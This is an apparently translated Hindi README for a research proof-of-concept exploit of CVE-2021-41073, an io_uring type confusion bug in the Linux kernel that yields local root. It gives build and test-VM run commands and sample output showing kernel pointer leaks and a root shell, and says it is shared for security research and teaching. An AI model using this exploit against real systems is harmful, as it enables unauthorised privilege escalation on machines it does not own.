
स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2021-41073 के लिए, जो Linux कर्नेल में एक io_uring प्रकार भ्रम (type confusion) भेद्यता है, जो डिफ़ॉल्ट कॉन्फ़िगरेशन पर रूट प्राप्त करता है।
CVE-2021-41073 io_uring टाइप कन्फ्यूज़न भेद्यता के लिए LPE एक्सप्लॉइट।
राइटअप देखें Put an io_uring on it: Exploiting the Linux Kernel।
लेखक: @chompie1337
केवल शैक्षिक/अनुसंधान उद्देश्यों के लिए। परीक्षण या सुरक्षा मूल्यांकन पर उपयोग के लिए नहीं।
बिल्ड करने के लिए (liburing आवश्यक है):
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
मैंने एक्सप्लॉइट के परीक्षण/चलाने के लिए 5.15-rc1 कर्नेल के साथ एक टेस्ट VM प्रदान किया है।
VM शुरू करने के लिए, test_vm संग्रह निकालें और चलाएं:
qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log
अनप्रिविलेज्ड उपयोगकर्ता के रूप में बॉक्स में ssh करें:
ssh -p 10021 hi@localhost
पासवर्ड: lol
चलाने के लिए:
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
कभी-कभी पूरे एक्सप्लॉइट अनुक्रम को पूरा करने के लिए 3-4 प्रयासों की आवश्यकता होती है। प्रत्येक एक्सप्लॉइट प्रयास के बाद VM को रीबूट करें। इस एक्सप्लॉइट को बेहतर बनाने के लिए भविष्य में काम किया जा सकता है, तकनीकें राइटअप में प्रदान की गई हैं। PoC को केवल अन्य शोधकर्ताओं के साथ ज्ञान साझा करने और उन लोगों के लिए जारी किया जा रहा है जो उन्नत कर्नेल एक्सप्लॉइटेशन के बारे में सीखना चाहते हैं।
यह एक्सप्लॉइट ब्लॉग पोस्ट में चर्चा की गई तकनीकों के लिए एक प्रूफ ऑफ कॉन्सेप्ट है, और डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ Linux Kernel 5.15-rc-1 का स्थानीय विशेषाधिकार वृद्धि प्राप्त करता है। यह मेरा इरादा नहीं है कि एक्सप्लॉइट को Linux के हर प्रभावित संस्करण के साथ काम करने के लिए तैयार और हथियारबंद किया जाए। मैंने अधिकांश चर्चा की गई तकनीकों को प्रदर्शित करने के लिए कोड प्रदान किया है, और साथ में दिए गए ब्लॉग पोस्ट में विभिन्न मिटिगेशन को बायपास करने के लिए आवश्यक तकनीकें बनाई और दस्तावेजित की हैं जिन्हें कुछ डिस्ट्रीब्यूशन सक्षम कर सकते हैं।
प्रदान किए गए टेस्टिंग VM में उपयोग किए गए कर्नेल कॉन्फ़िगरेशन test_vm फ़ोल्डर में हैं यदि आप कस्टम-निर्मित कर्नेल के साथ काम करना चाहते हैं। यदि आप योगदान देना चाहते हैं, तो पुल रिक्वेस्ट का स्वागत है :)
यह शोध Grapl द्वारा प्रायोजित किया गया था।